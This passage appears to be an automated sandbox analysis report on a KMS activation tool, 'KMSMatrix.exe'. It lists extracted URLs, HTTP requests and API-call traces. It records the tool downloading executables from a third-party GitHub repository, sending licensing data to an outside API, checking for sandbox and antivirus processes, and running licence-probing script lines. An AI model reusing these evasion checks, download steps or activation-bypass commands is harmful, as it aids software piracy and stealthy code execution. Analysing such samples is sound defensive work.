"http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?epnjbglobalsign" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ybhv*8tpap.digice2.5.29.12.5.4.3xntcdigicert" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszyszvone4ilxa" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcozfpgeotrust" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005180.00000000.68533.F7140000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005180.00000000.68533.F7140000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00005180.00000000.68533.F7140000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fpeibnamepropjnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnameprop:inetaaaanamepropnamepropen=bnameprop=" - Source: "00000000-00005180.00000000.68533.F7140000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microzp" - Source: "00000000-00005180.00000000.68533.F7140000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0b" - Source: "00000000-00005180.00000000.68533.F7140000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005180.00000000.68533.F7140000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportnternaldefinitionupdateserver" - Source: "00000000-00005180.00000000.68533.F7340000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005180.00000000.68533.F7340000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005180.00000000.68533.F7340000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005180.00000000.68533.F7340000.00000004.mdmp")62:T75b,GET /fs/windows/config.json HTTP/1.1Connection: Keep-Alive Accept: */* Accept-Encoding: identity If-Unmodified-Since: Tue 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com GET /translate_a/single?client=gtx&sl=auto&tl=en&dt=t&q=Microsoft%20(R)%20Windows%20Script%20Host%20Version%205.812%0D%0ACopyright%20(C)%20Microsoft%20Corporation.%20All%20rights%20reserved.%0D%0A%0D%0ASoftware%20licensing%20service%20version:%2010.0.16299.248%0D%0A%0D%0AName:%20Windows(R) %20Professional%20edition%0D%0ADescription:%20Windows(R)%20Operating%20System %20VOLUME_MAK%20channel%0D%0AActivation%20ID:%2049cd895b-53b2-4dc4-a5f7-b18aa019ad37%0D%0AApplication%20ID:%2055c92734-d682-4d71-983e-d6ec3f16059f%0D%0AExtended%20PID:%2003612-03312-030-000000-03-1033-16299.0000-0292019%0D%0AProduct%20Key%20Channel:%20Volume:MAK%0D%0AInstallation%20ID:%20430464420700963940110711003225523616728145665258657024768729522%0D%0AUse%20License%20URL:%20https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail%0D%0AValidation%20URL:%20https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx%0D%0APartial%20Product%20Key:%20P7JXM%0D%0ALicense%20Status:%20Notification%0D%0ANotification%20Reason:%200xC004F034.%0D%0ARemaining%20Windows%20rearm%20count:%201000%0D%0ARemaining%20SKU%20rearm%20count:%201000%0D%0ATrusted%20time:%201/11/2024%2011:02:33%20PM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: translate.googleapis.com Connection: Keep-Alive GET /cloud1cybertron/wincurl/raw/main/curl.exe HTTP/1.1Host: github.com Connection: Keep-Alive GET /cloud1cybertron/wincurl/main/curl.exe HTTP/1.1Host: raw.githubusercontent.com Connection: Keep-Alive GET /a/7z2201.exe HTTP/1.1Host: www.7-zip.org User-Agent: curl/7.87.0 Accept: */* 63:T678,Found HTTPS HEAD request to https://fs.microsoft.com/fs/windows/config.json Found HTTPS GET request to https://fs.microsoft.com/fs/windows/config.json Found HTTPS GET request to https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=en&dt=t&q=Microsoft%20(R)%20Windows%20Script%20Host%20Version%205.812%0D%0ACopyright%20(C)%20Microsoft%20Corporation.%20All%20rights%20reserved.%0D%0A%0D%0ASoftware%20licensing%20service%20version:%2010.0.16299.248%0D%0A%0D%0AName:%20Windows(R) %20Professional%20edition%0D%0ADescription:%20Windows(R)%20Operating%20System %20VOLUME_MAK%20channel%0D%0AActivation%20ID:%2049cd895b-53b2-4dc4-a5f7-b18aa019ad37%0D%0AApplication%20ID:%2055c92734-d682-4d71-983e-d6ec3f16059f%0D%0AExtended%20PID:%2003612-03312-030-000000-03-1033-16299.0000-0292019%0D%0AProduct%20Key%20Channel:%20Volume:MAK%0D%0AInstallation%20ID:%20430464420700963940110711003225523616728145665258657024768729522%0D%0AUse%20License%20URL:%20https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail%0D%0AValidation%20URL:%20https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx%0D%0APartial%20Product%20Key:%20P7JXM%0D%0ALicense%20Status:%20Notification%0D%0ANotification%20Reason:%200xC004F034.%0D%0ARemaining%20Windows%20rearm%20count:%201000%0D%0ARemaining%20SKU%20rearm%20count:%201000%0D%0ATrusted%20time:%201/11/2024%2011:02:33%20PM Found HTTPS GET request to https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe Found HTTPS GET request to https://raw.githubusercontent.com/cloud1cybertron/wincurl/main/curl.exe Found HTTPS GET request to https://www.7-zip.org/a/7z2201.exe64:T437,"KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1241581859" "cx": "1" "cy": "1"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1510017686" "cx": "1" "cy": "1"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "184616480" "cx": "16" "cy": "16"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16844709" "cx": "1" "cy": "1"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "83954280" "cx": "1" "cy": "1"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "50399853" "cx": "1" "cy": "1"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16845425" "cx": "1" "cy": "1"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "184616480" "cx": "1" "cy": "1"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "184616480" "cx": "32" "cy": "32"} "KMSMatrix.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16845426" "cx": "1" "cy": "1"}65:T851,"KMSMatrix.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00002616) "KMSMatrix.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00002616) "KMSMatrix.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\KMSMatrix\* (UID: 00000000-00002616) "KMSMatrix.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\* (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter b138f79dea860272ebe6694d9b73f656 (UID: 00000000-00002616) "KMSMatrix.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00002616) "KMSMatrix.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00002616) "KMSMatrix.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\* (UID: 00000000-00002616)66:T11da,file/memory contains long string with (Indicator: "base64"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "KMSMatrix.exe") Found string ":: Session ID is in Base64 encoded format. It's decoded value is "OSMajorVersion=5;OSMinorVersion=1;OSPlatformId=2;PP=0;GVLKExp=2038-01-19T03:14:07Z;DownlevelGenuineState=1;"" (Indicator: "base64"; File: "m_srv.cmd") Found string "$decodedLicense = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($license)) | ConvertFrom-Json" (Indicator: "base64"; File: "m_srv.cmd") Found string "$decodedLicense = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($license)) | ConvertFrom-Json" (Indicator: "FromBase64String"; File: "m_srv.cmd") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001580.00000000.66629.26910000.00000004.mdmp, 00000000-00001580.00000000.66629.26930000.00000004.mdmp, 00000000-00001580.00000000.66629.26950000.00000004.mdmp, 00000000-00001580.00000000.66629.26970000.00000004.mdmp, 00000000-00001580.00000000.66629.26990000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00001580.00000000.66629.26910000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00001580.00000000.66629.26910000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00001580.00000000.66629.26910000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00001580.00000000.66629.26910000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001580.00000000.66629.26910000.00000004.mdmp, 00000000-00001580.00000000.66629.26930000.00000004.mdmp, 00000000-00001580.00000000.66629.26950000.00000004.mdmp, 00000000-00001580.00000000.66629.26970000.00000004.mdmp, 00000000-00001580.00000000.66629.26990000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00001580.00000000.66629.26910000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "tripledescryptoserviceprovider" (Indicator: "tripledescryptoserviceprovider"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00001580.00000000.66629.26950000.00000004.mdmp") Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00001580.00000000.66629.26950000.00000004.mdmp") Found string "base64stream" (Indicator: "base64"; Source: "00000000-00001580.00000000.66629.26950000.00000004.mdmp") Found string "base64writestateinfo" (Indicator: "base64"; Source: "00000000-00001580.00000000.66629.26970000.00000004.mdmp") Found string "aescng" (Indicator: "aes"; Source: "00000000-00001580.00000000.66629.26970000.00000004.mdmp")67:T55d,Found reference to API "10068055713,3708,3114,,FindNextFileW,kernel32.dll,"00:17:20.578",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to API "10544864849,6576,3112,,FindFirstFileW,kernel32.dll,"00:17:20.781",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to API "10538589611,7372,3112,,FindFirstFileW,kernel32.dll,"00:17:20.781",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to API "8471872754,6576,3114,,FindNextFileW,kernel32.dll,"00:17:19.906",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to API "10545141587,6576,3114,,FindNextFileW,kernel32.dll,"00:17:20.781",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to API "10536283161,3708,3114,,FindNextFileW,kernel32.dll,"00:17:20.765",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to API "10536213913,3708,3114,,FindNextFileW,kernel32.dll,"00:17:20.765",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp")68:T113c,file/memory contains long string with (Indicator: "Select-Object"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Where-Object"; File: "KMSMatrix.exe") Found string "if %_wmic% EQU 0 %psc% "Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName" 2>nul | find /i "computersystem" 1>nul" (Indicator: "Select-Object"; File: "m_srv.cmd") Found string "$vNextPrids = Get-Item -Path $vNextRegkey -ErrorAction Ignore | Select-Object -ExpandProperty 'property' | Where-Object -FilterScript {$_.ToLower() -like "*retail" -or $_.ToLower() -like "*volume"}" (Indicator: "Where-Object"; File: "m_srv.cmd") Found string "$vNextPrids = Get-Item -Path $vNextRegkey -ErrorAction Ignore | Select-Object -ExpandProperty 'property' | Where-Object -FilterScript {$_.ToLower() -like "*retail" -or $_.ToLower() -like "*volume"}" (Indicator: "Select-Object"; File: "m_srv.cmd") Found string "$scaValue = Get-ItemProperty -Path $scaRegKey -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Select-Object"; File: "m_srv.cmd") Found string "$scaValue2 = Get-ItemProperty -Path $scaRegKey2 -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Select-Object"; File: "m_srv.cmd") Found string "$scaPolicyValue = Get-ItemProperty -Path $scaPolicyKey -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Select-Object"; File: "m_srv.cmd") Found string "$vNextPrids = Get-Item -Path $vNextRegkey -ErrorAction Ignore | Select-Object -ExpandProperty 'property' | Where-Object -FilterScript {$_.ToLower() -like "*retail" -or $_.ToLower() -like "*volume"}" (Indicator: "Where-Object"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$vNextPrids = Get-Item -Path $vNextRegkey -ErrorAction Ignore | Select-Object -ExpandProperty 'property' | Where-Object -FilterScript {$_.ToLower() -like "*retail" -or $_.ToLower() -like "*volume"}" (Indicator: "Select-Object"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$scaValue = Get-ItemProperty -Path $scaRegKey -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$scaValue2 = Get-ItemProperty -Path $scaRegKey2 -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "$scaPolicyValue = Get-ItemProperty -Path $scaPolicyKey -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "if %_wmic% EQU 0 %psc% "Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName" 2>nul | find /i "computersystem" 1>nul" (Indicator: "Select-Object"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")69:T5a2,Observed string: "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" (Indicator: " tasklist ") in Source: 00000000-00008068-00000C41-53257016263 Observed string: "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" (Indicator: " tasklist ") in Source: 00000000-00008068-00000C41-64169663607 Observed string: "%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" (Indicator: " tasklist ") in Source: 00000000-00008068-00000C41-68177950289 Observed string: "%WINDIR%\System32\tasklist.exe" [Source: 00000000-00006596-00000BC0-70362228] Observed string: "tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" (Indicator: "tasklist ") in Source: 00000000-00006596-00000C41-1003750297 Observed string: "tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" (Indicator: "tasklist ") in Source: 00000000-00000336-00000C41-1562373586 Observed string: "tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" (Indicator: "tasklist ") in Source: 00000000-00006100-00000C41-1205889813 Observed string: "/c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" (Indicator: " tasklist ") in Source: cmd.exe Observed string: "/c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" (Indicator: " tasklist ") in Source: cmd.exe Observed string: "/c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" (Indicator: " tasklist ") in Source: cmd.exe6a:T5bd,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp")6b:Tcc5,Found string "dir /b "%ProgramFiles%\WindowsApps\Microsoft.Office.Desktop*" %_Nul3% && set OffUWP=1" (Indicator: "dir "; File: "m_srv.cmd") Found string "dir /b /s /a:-d "!_Local!\Microsoft\Office\Licenses\*1*" 1>nul 2>nul && set _Identity=1" (Indicator: "dir "; File: "m_srv.cmd") Found string "dir /b /s /a:-d "!ProgramData!\Microsoft\Office\Licenses\*1*" 1>nul 2>nul && set _Identity=1" (Indicator: "dir "; File: "m_srv.cmd") Found string "dir /b "%ProgramFiles%\WindowsApps\Microsoft.Office.Desktop*" %nul% && set uwp16=Office 16.0 UWP" (Indicator: "dir "; File: "m_srv.cmd") Found string "dir /b "%ProgramW6432%\WindowsApps\Microsoft.Office.Desktop*" %nul% && set uwp16=Office 16.0 UWP" (Indicator: "dir "; File: "m_srv.cmd") Found string "dir /b "%ProgramFiles(x86)%\WindowsApps\Microsoft.Office.Desktop*" %nul% && set uwp16=Office 16.0 UWP" (Indicator: "dir "; File: "m_srv.cmd") Found string "dir /b "%ProgramFiles%\WindowsApps\Microsoft.Office.Desktop*" %nul% && set uwp16=Office 16.0 UWP" (Indicator: "dir "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "dir /b "%ProgramW6432%\WindowsApps\Microsoft.Office.Desktop*" %nul% && set uwp16=Office 16.0 UWP" (Indicator: "dir "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "dir /b "%ProgramFiles(x86)%\WindowsApps\Microsoft.Office.Desktop*" %nul% && set uwp16=Office 16.0 UWP" (Indicator: "dir "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 